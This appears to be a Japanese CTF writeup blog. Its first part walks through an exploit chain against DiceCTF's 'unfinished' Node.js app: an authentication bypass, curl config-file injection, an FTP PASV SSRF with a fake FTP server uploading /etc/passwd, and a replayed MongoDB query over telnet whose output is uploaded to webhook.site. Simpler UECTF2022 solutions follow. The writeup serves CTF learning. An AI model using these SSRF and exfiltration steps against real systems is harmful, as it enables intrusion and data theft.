ソースコードが与えられている。docker-compose.yml から、Node.jsで書かれた app と、MongoDBサーバの動いている mongo という2つのコンテナが存在していることがわかる。

version: "3.9"
services:
  app:
    build: ./app/
    ports:
      - "4444:4444"
  mongodb:
    build: ./mongo/

まずは mongo から見ていく。mongo は次のようなスクリプトで初期化されている。app というDBにはユーザの認証情報が、secret にはフラグが格納されていることがわかる。secret.flag からフラグを抜き出せばよさそう。app からのSSRFやNoSQL Injectionだろうか。

const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });

app を見ていく。ソースコードは次の通りだけれども、ユーザ登録が未実装だったり、TODOのコメントがたくさん残されていたりと、問題名や問題文の通り未完成っぽい。"unfinished doesn't mean unsolvable" というのを信じたいところ。

/api/ping というAPIを使うと、curl でアクセスすることで与えたURLが生きているかどうかをチェックしてくれるっぽい。おそらくここに脆弱性があるのだろうが、curl を叩く処理の前に requiresLogin というミドルウェアが挟まれている。これはセッションの情報をもとにログイン済みかどうかをチェックするもので、もしログインしていなければ / にリダイレクトされてしまう。

それならログインするしかないかと思いつつ、ログインするためのAPIである /api/login の処理を見る。await users.findOne({ user, pass }) でNoSQL Injectionチャンス! かと思いきや、その直前で typeof user !== "string" || typeof pass !== "string"userpass がいずれも文字列であることがチェックされており、残念ながら無理。

const { MongoClient } = require("mongodb");
const cp = require('child_process');
const express = require("express");

const client = new MongoClient("mongodb://mongodb:27017/");
const app = express();

const PORT = process.env.PORT || 4444;

app.use(express.urlencoded({ extended: false }));
app.use(require("express-session")({
    secret: require("crypto").randomBytes(32).toString("hex"),
    resave: false,
    saveUninitialized: false
}));

/*
// TODO: add register functionality
app.post("/api/register", (req, res) => {

});
*/

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

app.post("/api/login", async (req, res) => {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }
    res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

app.get("/", (req, res) => res.sendFile(req.session.user ? "dashboard.html" : "index.html", { root: "static" }));

client.connect().then(() => {
    app.listen(PORT, () => console.log(`web/unfinished listening on http://localhost:${PORT}`));
});

/api/login はどう見ても脆弱ではないので、では requiresLogin が怪しいのではないかと考える。よく見ると、res.redirect を呼び出す際に関数を return していない。なので、直後の next を呼び出す処理まで実行されてしまい、curl を叩くコールバック関数が呼び出されてしまう。ログインしているかどうかのチェックが機能していない。

試しに curl http://localhost:4444/api/ping -d "url=https://webhook.site/…"/api/ping を叩いてみたところ、指定したWebhook.siteのページへのアクセスが来た。これで requiresLogin が機能していないことが確認できた。

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

/api/ping の処理を詳しく見ていく。curl にアクセスさせるURLを指定する url のほかにも、optdata というパラメータを受け付けている。これらのパラメータには、以下のような検証処理が行われている:

  • url は、URLとして解釈した際のプロトコルhttp: もしくは https: でなければならない
  • opt は、^-[A-Za-z]$ のように1文字の短縮オプションでなければならない
  • opt-d であるか、そうでない場合には dataGETPOST でなければならない

-d オプションを使って好きなWebサーバに、好きな内容でPOSTできるという点がまず魅力的に見える。これでMongoDBにSSRFだ! と思ったものの、そもそもMongoDBをHTTPのAPIで操作できるのかという疑問が湧く。試しに app のコンテナからGETしてみると、次のようなメッセージが返ってきた。調べてみると、どうやらREST APIで操作できる機能は3.6で削除されたらしい。REST In Peace。

user@51be22709e2e:/app$ curl http://mongodb:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.

じゃあ今はどういうプロトコルでMongoDBサーバと通信できるのかというと、バイナリのプロトコルが使われているらしい。url のチェックをバイパスする方法は後で考えるとして、とりあえずGopherだ! と思って app のコンテナで、Gopherプロトコルを使ってMongoDBサーバにアクセスできるかチェックしてみたものの、様子がおかしい。どうして使えないんだ…?

user@51be22709e2e:/app$ curl gopher://mongodb:27017
curl: (1) Protocol "gopher" not supported or disabled in libcurl
user@51be22709e2e:/app$ curl --proto +gopher gopher://mongodb:27017
Warning: unrecognized protocol 'gopher'
curl: (1) Protocol "gopher" not supported or disabled in libcurl

このコンテナではcurlapt install curl によってインストールされているわけではない。Dockerfile を見ると次のような記述があり、CTFの開催時点で最新のバージョンである7.87.0を、--disable-gopherGopherプロトコルを無効化するオプション付きでビルドしていることがわかる。Gopherプロトコルは任意のバイト列をサーバに送りつけられるという点でSSRFにとても便利なので、それは困る。

RUN wget -q https://curl.haxx.se/download/curl-7.87.0.tar.gz && \
    tar xzf curl-7.87.0.tar.gz

WORKDIR /tmp/curl-7.87.0

RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher && \
    make && \
    make install

ビルドされた curl で利用できるプロトコルを確認すると、まだいくつか有用そうなものが残っているのがわかる。dict, telnet, tftp あたりだ。ただ、dict はRedisのようにテキストのプロトコルかつゆるゆるだと便利なんだけれども、最初に CLIENT libcurl 7.68.0 のようなゴミが入るし、またNULLバイトを挿入する必要があるようなプロトコルだと難しい。tftpUDPなので、そもそもTCPであるMongoDBとは合わない。telnet は…どうだろう。

user@51be22709e2e:/app$ curl --version
curl 7.87.0 (x86_64-pc-linux-gnu) libcurl/7.87.0 OpenSSL/1.1.1n
Release-Date: 2022-12-21
Protocols: dict file ftp ftps http https imap imaps mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile NTLM NTLM_WB SSL threadsafe TLS-SRP UnixSockets

そんな感じのことを考えていても、そもそも httphttps 以外のプロトコルのURLにアクセスさせる方法を見つけられない限り意味がない。このチェックのバイパスの方法としてまず思いついたのは、引数を取らない短縮オプションを opt に指定することだったが、すぐに「opt-d でない場合には dataGETPOST でなければならない」という条件を思い出して、無理だと気づく。じゃあ、dataGETPOST に限られてしまうけれども、それでも使えるような便利な短縮オプションがないか探すかと考える。man とにらめっこだ。

一個一個オプションを見ていくと、-K <file> (--config <file>) というオプションがあることに気づいた。これは指定したファイルを設定ファイルとして読み込むものらしい。設定ファイルというか、ファイル経由で任意の curl のオプションを付与できるようになるというもの。なるほど、これなら GETPOST というファイルに設定ファイルをダウンロードしてくればよいから使えそうだ。

ではどうやって GETPOST に設定ファイルをダウンロードしてくるかというと、こちらは -o <file> (--output <file>)がある。ダウンロードできるかどうかについては、child_process.spawn に与えるオプションで cwd: "/tmp" を与えていて、/tmp をカレントディレクトリとしているから大丈夫だろう。

-o オプションで設定ファイルをダウンロードしてきた後に、-K オプションでそれを読み込ませるという方法が使えるか確認する。まず、次のような設定ファイルを用意する。これは superagent/1.0 をユーザエージェントとするものだ。

user-agent = "superagent/1.0"

この設定ファイルを自分の管理するWebサーバでホストしつつ、-o オプションを使って問題サーバに /tmp/GET へダウンロードさせる。そして、-K/tmp/GET を設定ファイルとして読み込ませて、Webhook.siteのページにアクセスさせる。

$ curl http://localhost:4444/api/ping -d "url=http://…&opt=-o&data=GET"
Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in
$ curl http://localhost:4444/api/ping -d "url=https://webhook.site/…&opt=-K&data=GET"
Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in

Webhook.siteを確認すると、ちゃんと user-agent: superagent/1.0 なHTTPリクエストが問題サーバから来た。やったー。ただ、これをどう悪用できるかを考える必要がある。実質的に任意の curl のオプションを利用できるようになったわけで、今度は短縮オプションだけでなく、すべてのオプションについて一つ一つ見ていかなければならない。つらい~。

眺めていて気になったのは --netrc-file だった。これは .netrc を好きなファイルから読み込めるというもので、ワンチャン curl 以外のOSコマンドの実行に持ち込めるのではないかと考えた。が、残念ながらそのあたりは潰されているっぽかった。

設定ファイルの説明を読み直していて、url = "ftp://example.com" というような項目を追加すると http, https 以外のプロトコルでもアクセスさせられることに気づいた。なるほどこれで telnet が使えるなあと思いつつも、どうやってMongoDBサーバに secret.flag をくれ~と要求するメッセージを送ればよいだろうかと悩む。というのも、ローカルで nc -lp … で待ち受けつつ curl "telnet://…" のようなコマンドを実行してみたりしたが、どうやって標準入力以外からデータを持ってきて送信させられるかがわからなかったから。

では telnet 以外のプロトコルに使えるものがないかと、もう一度 curl --version で表示された、対応しているプロトコルの一覧を見直す。ftp がある。FTPは実際にどういうメッセージを送受信しているかよく理解していなかったし、アクティブモードとかパッシブモードとかあるけれども、これらの違いもまったくわかっていなかった。ということでググって調べていた

今回は問題サーバがFTPのクライアント側となるので、つまり我々が操作して好き勝手にメッセージを返せるのはサーバ側ということになる。そういうわけなので、もし悪用できるならデータコネクションを張る際にクライアント側からサーバ側に接続しに行くパッシブモードの方だろうと考えた。というのも、調べた限りではパッシブモードではサーバ側が 227 もしくは 229 というリプライコードを使って、その接続先のIPアドレスとポート番号(229 ではポート番号のみ)を返すとわかったから。そこでMongoDBサーバのIPアドレスと、27017というポート番号を返すことで、クライアント側がMongoDBサーバの 27017/tcp に接続しに行き、そしてそのコネクションでファイルをアップロードさせることでSSRFができるのではないかと考えた。

そういうわけで、pwntoolsを使って雑に偽のFTPサーバを作る。USER やら PWD やらのコマンドははいはいと聞き流しつつ、PASV が飛んできたら 227 Entering passive mode (172.22.0.2,105,137). のような感じで自らのものでないIPアドレスとポート番号を返すようにする。

import time
from pwn import *

TARGET_IP_ADDR = '172.22.0.2' # MongoDBサーバのIPアドレス
TARGET_PORT = 27017

def callback(conn):
    conn.send(b'220 ready\r\n')

    while True:
        r = conn.recvline().decode().strip()
        print(r)
        c, *rest = r.split(' ', 1)

        if c == 'USER':
            conn.send(b'331 ok\r\n')
        elif c == 'PASS':
            conn.send(b'230 ok\r\n')
        elif c == 'PWD':
            conn.send(b'257 "/" desu\r\n')
        elif c == 'EPSV':
            conn.send(b'500 dame\r\n')
        elif c == 'PASV':
            resp = '227 Entering Passive Mode ({},{},{}).\r\n'.format(
                TARGET_IP_ADDR.replace('.', ','),
                TARGET_PORT >> 8,
                TARGET_PORT & 0xff
            )
            conn.send(resp.encode())
        elif c == 'TYPE':
            conn.send(b'200 ok\r\n')
        elif c == 'STOR':
            conn.send(b'125 ok\r\n')
            time.sleep(1)
            conn.send(b'226 complete\r\n')
        elif c == 'QUIT':
            conn.send(b'221 bye\r\n')
            break
        else:
            conn.send(b'500 shiran\r\n')

s = server(22222, callback=callback)
input('')

これで、/api/ping に(設定ファイルを使いつつ) curl -u user:password ftp://(IPアドレス):22222 -T /etc/passwd --ftp-pasv 相当のことをさせてみたところ、なぜかうまくいかない。

どういうことかと思いつつ、curlmanFTP関連のオプションを探していると、どうやら curl では --no-ftp-skip-pasv-ip というオプションを明示的に付与しない限り、227 の返すIPアドレスは無視する(代わりにポート番号は 227 で返ってきたものをそのまま使いつつ、IPアドレスはコントロールコネクションで接続しているサーバのものを使う)ことがわかった。これを設定ファイルに書き加える。

url = "ftp://…:22222" # 偽FTPサーバ
upload = "/etc/passwd"
ftp-pasv
no-ftp-skip-pasv-ip

今度はいけた。無事に 227 で指定したIPアドレス・ポート番号へ curl からアクセスが来たことが、MongoDBサーバのログからわかる。

unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.372+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":4}}
unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I",  "c":"NETWORK",  "id":22988,   "ctx":"conn15","msg":"Error receiving request from client. Ending connection from remote","attr":{"error":{"code":141,"codeName":"SSLHandshakeFailed","errmsg":"SSL handshake received but server is started without SSL support"},"remote":"172.22.0.3:45972","connectionId":15}}
unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn15","msg":"Connection ended","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":3}}

後はMongoDBサーバが解釈できるようなメッセージを送りつけるだけかと思いきや、-o (--output)オプションなどでログを出力するようにしたとしても、データコネクションでサーバ側が返したメッセージはどこにも保存されないことに気づく。つまり、MongoDBサーバにメッセージを送りつけることはできても、返ってきたレスポンスを読むことはできない。

curl の終了コードは得られるから、Blind Regular Expression Injection Attackとかでちまちまフラグを得られるだろうかとか、いい感じのMongoDBのコマンドはないだろうかとか、そもそもTLS-poisonなんじゃないかとか調べているうちに時間切れ。競技中はここでつまずいてそのまま解けなかった🤷


(色々前提条件はあれど)FTPでSSRFできるテクニックがなかなか面白いなあと思った。FTPという古のプロトコルであるあたり、このテクニックは既知で有史以前から継承されてきているのだろうなあと薄々感じつつ後でググったところ、当然ながら既出も既出、ド既出でgraneedさんによる2020年のWeb問まとめ記事にもまとめられていることに気づいた。

今回はサーバ側がクライアント側に適当なIPアドレス・ポート番号へ接続しに行くように 227 というリプライコードを使って仕向けたけれども、その逆バージョンとして PORT コマンドを使う手法もある。こちらはFTP Bounce Attackと言われているそう。

Strellicさんが公開されたwriteupによると、想定解法は telnet を使うものだった*1。データの送信はどうするのだろうと思ったが、-T (--upload-file)でファイルのパスを指定すると、その内容が送られるということだった。そんなあ。

やってみる。まずMongoDBサーバにどんなメッセージを送るかという話だけれども、これはMongoDBサーバとやり取りしているパケットをキャプチャして調べてみる。sudo tcpdump -i lo -s 0 -w hoge.pcap でキャプチャしつつ、以下のコードをローカルの app コンテナで実行する。

const { MongoClient } = require("mongodb");
const client = new MongoClient("mongodb://localhost:27017/");
client.connect().then(async () => {
    const flag = client.db("secret").collection("flag");
    console.log((await flag.findOne()).flag);
    client.close();
});

dice{test_flag} が返ってくるようなレスポンスを発生させたリクエストは、次のようなものだった。

00000000  92 00 00 00 03 00 00 00 00 00 00 00 dd 07 00 00  |............Ý...|
00000010  00 00 00 00 00 7d 00 00 00 02 66 69 6e 64 00 05  |.....}....find..|
00000020  00 00 00 66 6c 61 67 00 03 66 69 6c 74 65 72 00  |...flag..filter.|
00000030  05 00 00 00 00 10 6c 69 6d 69 74 00 01 00 00 00  |......limit.....|
00000040  08 73 69 6e 67 6c 65 42 61 74 63 68 00 01 10 62  |.singleBatch...b|
00000050  61 74 63 68 53 69 7a 65 00 01 00 00 00 03 6c 73  |atchSize......ls|
00000060  69 64 00 1e 00 00 00 05 69 64 00 10 00 00 00 04  |id......id......|
00000070  bd e0 73 f0 c6 9a 43 54 93 5b 73 87 a1 ee 01 34  |½àsðÆ.CT.[s.¡î.4|
00000080  00 02 24 64 62 00 07 00 00 00 73 65 63 72 65 74  |..$db.....secret|
00000090  00 00                                            |..|

試しに、これを app コンテナから curltelnet:// を使ってMongoDBサーバに送ってみる。そのままだとなかなか curl が終了してくれないので、-m1タイムアウトを1秒にしておく。実行すると、同じメッセージでダミーのフラグを手に入れることができた。なるほど、これをリプレイするだけでよさそう。

user@51be22709e2e:/tmp$ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input
user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd
00000000: 9700 0000 8426 0000 0300 0000 dd07 0000  .....&..........
00000010: 0000 0000 0082 0000 0003 6375 7273 6f72  ..........cursor
00000020: 0069 0000 0004 6669 7273 7442 6174 6368  .i....firstBatch
00000030: 0038 0000 0003 3000 3000 0000 075f 6964  .8....0.0...._id
00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c  .c...J.....{..fl
00000050: 6167 0010 0000 0064 6963 657b 7465 7374  ag.....dice{test
00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000  _flag}....id....
00000070: 0000 0000 0002 6e73 000c 0000 0073 6563  ......ns.....sec
00000080: 7265 742e 666c 6167 0000 016f 6b00 0000  ret.flag...ok...
00000090: 0000 0000 f03f 00                        .....?.
user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd
00000000: 9700 0000 8526 0000 0300 0000 dd07 0000  .....&..........
00000010: 0000 0000 0082 0000 0003 6375 7273 6f72  ..........cursor
00000020: 0069 0000 0004 6669 7273 7442 6174 6368  .i....firstBatch
00000030: 0038 0000 0003 3000 3000 0000 075f 6964  .8....0.0...._id
00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c  .c...J.....{..fl
00000050: 6167 0010 0000 0064 6963 657b 7465 7374  ag.....dice{test
00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000  _flag}....id....
00000070: 0000 0000 0002 6e73 000c 0000 0073 6563  ......ns.....sec
00000080: 7265 742e 666c 6167 0000 016f 6b00 0000  ret.flag...ok...
00000090: 0000 0000 f03f 00                        .....?.

次のような手順でフラグを取得する。

  1. MongoDBサーバへのSSRF用の設定ファイルを、-o GETGET に保存させる
    • この設定ファイルは、-m1 -o POST -T POST telnet://mongodb:27017 相当のリクエストが送られるものにする
  2. MongoDBサーバに送るためのメッセージを、-o POSTPOST に保存させる
  3. -K GET で発火させる
  4. POST をWebhook.siteにアップロードさせる

実行するコマンドは次の通り。

$ # 問題サーバにファイルをダウンロードさせるためのWebサーバを立ち上げる
$ python3 -m http.server &

$ # 設定ファイルその1
$ cat config1
output = "/dev/null" # http://example.comのレスポンスを捨てる
upload = "/dev/null"

url = "telnet://mongodb:27017"
max-time = 1
output = "POST"
upload = "POST"
$ # 1. MongoDBサーバへのSSRF用の設定ファイルを、-o GET で GET に保存させる
$ curl http://…/api/ping -d "url=http://…/config1&opt=-o&data=GET"

$ # MongoDBサーバに送るためのメッセージを作成
$ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input
$ # 2. MongoDBサーバに送るためのメッセージを、-o POST で POST に保存させる
$ curl http://…/api/ping -d "url=http://…/input&opt=-o&data=POST"

$ # 3. -K GET で発火させる
$ curl http://…/api/ping -d "url=http://example.com&opt=-K&data=GET"

$ # 4. POST をWebhook.siteにアップロードさせる
$ curl http://…/api/ping -d "url=https://webhook.site/…&opt=-T&data=POST"

フラグが得られた。

dice{i_lied_this_1s_th3_finished_st4te}

*1:telnetを使ってるねっと!w

UECTF2022 writeup

11/18 - 11/20という日程で開催された。stnanとして参加して全完し、2位だった。ずんだの妖精꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂に40分負けた。


[CRYPTO 50] RSA (57 solves)

RSA暗号でフラグを暗号化してみました!解読してみてください。

I encrypted the flag with the RSA cipher! Please try to decode it.

添付ファイル: rsa_source.py, output.txt

rsa_source.py は以下のような内容だった。

from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCD

def enc(p_text):
  N=p*q
  c_text=pow(p_text,e,N)
  #cipher_text=plain_text^e mod N
  print('cipher text:',c_text)
  print('p:',p)
  print('q:',q)
  print('e:',e)

e = 65537
p = getPrime(100)
q = getPrime(100)

#e:public key
#p,q: prime number

plain=b'UECTF{SECRET}'
plain=bytes_to_long(plain)
#bytes_to_long:bytes -> number
#long_to_bytes:number->bytes
enc(plain)

output.txt はこれ。

cipher text: 40407051770242960331089168574985439308267920244282326945397
p: 1023912815644413192823405424909
q: 996359224633488278278270361951
e: 65537

普通のRSA。復号するスクリプトを書く。

import binascii
import gmpy2

c = 40407051770242960331089168574985439308267920244282326945397
p = 1023912815644413192823405424909
q = 996359224633488278278270361951
e = 65537

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, p * q)
print(binascii.unhexlify(hex(m)[2:]))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{RSA-iS-VeRy-51Mp1e}'
UECTF{RSA-iS-VeRy-51Mp1e}

[FORENSICS 100] Compare (33 solves)

新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。

I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.

添付ファイル: UECTF_org.bmp, UECTF_new.bmp

人間の目にはまったく同じ画像に見えるけれども、なんか違うっぽい。

$ sha256sum *
08d44aa56a8cef70356fe0a8ec510d63a3ec8ef9d0d70f4ea9876261ba5b889b  UECTF_new.bmp
54465d578a21551a206f1ca57bd31fb211c9cf44d54a9f8000077d81b3a58f3f  UECTF_org.bmp

違う部分を探すスクリプトを書く。

with open('UECTF_org.bmp', 'rb') as f:
  s = f.read()
with open('UECTF_new.bmp', 'rb') as f:
  t = f.read()

print(bytes(y for x, y in zip(s, t) if x != y))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{compare_two_files_byte_by_byte}'
UECTF{compare_two_files_byte_by_byte}

[FORENSICS 100] Deleted (53 solves)

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file...

添付ファイル: image.raw

binwalkで殴る。

$ binwalk -D 'png image:png' image.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
327812        0x50084         xz compressed data
330296        0x50A38         xz compressed data
557056        0x88000         PNG image, 750 x 180, 8-bit/color RGB, non-interlaced
557952        0x88380         Zlib compressed data, best compression
585728        0x8F000         PNG image, 1006 x 38, 8-bit/color RGBA, non-interlaced
…

0x8F000 から始まっているPNGがフラグだった。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

[FORENSICS 127] Discord 1 (30 solves)

数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…

A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...

添付ファイル: discord1.zip

Crashpad, GPUCache, VideoDecodeStats といったディレクトリがある。それっぽい CacheCode Cache といったディレクトリもある。今回探しているのは画像ということなので、試しに Cache ディレクトリ下で file * を走らせ、画像がないか探す。いくつかPNGがあった。

$ cd Cache
$ file *
…
f_00008d: PNG image data, 248 x 300, 8-bit/color RGBA, non-interlaced
f_00008e: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_00008f: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000090: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000091: PNG image data, 461 x 469, 8-bit/color RGBA, non-interlaced
f_000092: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, JntStereo
index:    data

f_00003a がそれだった。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

[FORENSICS 323] Discord2 (21 solves)

前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…

I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...

添付ファイル: discord2.zip

ディレクトリやファイルの構造はDiscord 1とほぼ同じだった。「前に思いついたフラグ送信しようとして止めた」とのことなので、grepUECTF が含まれるファイルを探す。あった。

$ grep -rl UECTF .
./Local Storage/leveldb/000004.log

該当する部分を見てみる。

$ grep -ao "UECTF{[^}]\+}" "./Local Storage/leveldb/000004.log"
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

[MISC 10] WELCOME (88 solves)

Welcome to UECTF2022! Join the discord server and submit the flag!!

UECTFへようこそ! Discordサーバーにあるflagを提出してください!!

Discordサーバの #📢-announcements チャンネルにフラグがあるのだれども、

これはUECTFが開催されるというアナウンスに添付されていた画像に含まれる文字列と同じだったので、事前にメモっていた。

UECTF{C4PTURE_TH3_FL4G_2022}

[MISC 100] caesar (68 solves)

ガイウス・ユリウス・カエサル Gaius Iulius Caesar

添付ファイル: caesar_source.py, caesar_output.txt

caesar_source.py は以下のようなPythonスクリプトだった。シーザー暗号をアルファベットだけでなく数字、記号にも拡張したやつっぽい。caesar_output.txt はこれを使ってフラグを「暗号化」したもの。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

改造して鍵をブルートフォースする。case-sensitiveであることに注意。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain, x=14):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+x)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG'
for x in range(100):
  print(encode(plain_text, x))

実行するとフラグが得られた。

$ python3 caesar_source.py | grep UECTF
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

[MISC 100] redaction gone wrong 1 (71 solves)

NOBODY SHOULD JUST COPY AND PASTE MY FILES!

何人もコピペすべからず!

添付ファイル: challenge.pdf

フラグの部分が黒塗りになっている。Chromeでこの部分を選択してコピペしようとすると、"nope"クリップボードにコピーされた。

Firefox(というかPDF.js)ならいける

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

[MISC 100] redaction gone wrong 2 (54 solves)

We have found this image floating on the internet. Can you tell us what is the redacted text?

インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?

添付ファイル: flag.png

フラグがペンで塗りつぶされている。が、うっすらと見える気がする。

青い空を見上げればいつもそこに白い猫でパレットをランダムにしてみるともっとはっきりと見える。

UECTF{N3ver_ever_use_A_p3n_rofl}

[MISC 100] GIF1 (59 solves)

GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…

I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...

添付ファイル: UEC_Anime.gif

アニメーションGIFが与えられている。ffmpeg -i UEC_Anime.gif -vsync 2 frames/%d.png でフレームを切り出す。86枚目で一瞬フラグが表示されていた。

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

[MISC 127] GIF2 (30 solves)

今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。

I tried to hide the flag in a GIF animation. It's not all about what people can see.

添付ファイル: UECTF.gif

